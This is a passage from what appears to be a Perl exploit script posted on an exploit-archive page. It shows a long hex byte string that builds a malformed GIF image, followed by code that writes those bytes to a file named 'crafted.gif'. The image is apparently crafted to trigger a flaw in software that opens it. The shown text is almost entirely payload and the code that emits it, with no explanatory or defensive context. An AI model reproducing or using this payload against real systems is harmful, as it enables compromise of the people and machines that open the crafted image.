"x85x88x72xCBx74x42xA3xD2x5FxF0x4AxA6x20xB7x33x05".
"x46xDAx0Bx47xA7x63x32xF9x88x2Ex11x2Cx61xF7xD3x47".
"xB5xCAxAFx66x75x23x18x3Dx6Fx85x87x7Dx7Fx72x14x5A".
"x82x19x09x7Bx7Ax6Dx89x8Ax80x67x49x31x22x19x12x87".
"x6Fx6Cx94x95x0Dx81x5Bx02xA2x48x8Fx6Dx7Ax10x07x0C".
"x41x14xA1xA3x55x8Dx33x02xAFxA6x9Ax09x9Ex03x01x13".
"x0Ax24x02x11x08xB6x96x23x05xB7x33x7ExC7x8Fx3Ex12".
"x2Cx98xC6x43xB1xD0x0Dx17x33x11x8BxA7x18x0Cx19x75".
"xD7xA3x02xC9x0DxB3xC5x7FxB1x82x2Dx67xE1xA2x25xD7".
"x8AxE6xE7x22xE0x8AxE3xD3xD8xF0x25xEAx58x23xA5x95".
"xE3xF7x1Bx08x42x35xCAx37xA4xC0x3Fx13xC3xE4x54xDB".
"x50x8Fx8CxBFx83xFCxCAx6Dx88xB8xE8xE0x8Cx86x57x80".
"x55x42x60xD1x44xC0x79x1FxFFx3CxB4x48x91x0Cx02x82".
"xEFxDBx3AxD6x52xF4xE2xE4x05x97x27x39x76x34xE1x02".
"xE6x85x97x23x67xEAxDCx09x2FxD8xCBx98x27x73x5Ax44".
"x00xF4xE7x0Bx94x97x66xAExFCxF3xB2x1FxCFx89x1BxDB".
"xFDx91xB9x33xA4x9Cx18x09xAFx18xE4x49x21x2Bx11x19".
"x5Ex89x08x3Dx57x12x90x08xABx64xB6xCExC4x48x64xA1".
"x54x91x33xDFx5Ex25xE7x2Ex29x3Cx82xEBx46xC8x25x46".
"x92xA0xBFxB0x29xEBx08x38x83x91x02x4Dx7Bx13x5Fx08".
"x12x36xCAx85x43x64x7Cx19x16x1Cx1Bx6Fx9AxB4xB6x34".
"x96x7Ex6Bx58x00x41xA6x7Dx02x10x14x46x22x2Fx70x8B".
"xAExE9x2Ax31x3Ax1Bx96x48x2CxC5x36x3Ex4Bx16x18x07".
"x96xDDx2Dx78xC5x8Ax60x8BxB8x4Ex6ExDDx55x42x5DxA1".
"x4CxB3xF5x15x99xBFx45x11xA7xF5x1BxB9x70x3Ax07x23".
"x18x77xEEx6ExF9x96x08x6CxA9x97xB1x2Ex28x58x42xED".
"xA2xA0x3Fx2Dx01x2Cx68x0Bx9CxB7x95x84x00x00x3B";

open(C, ">:raw", "crafted.gif");
print C $crafted;
close(C);

# http://0xffe4.org

 

TOP

Malware :

Exploits :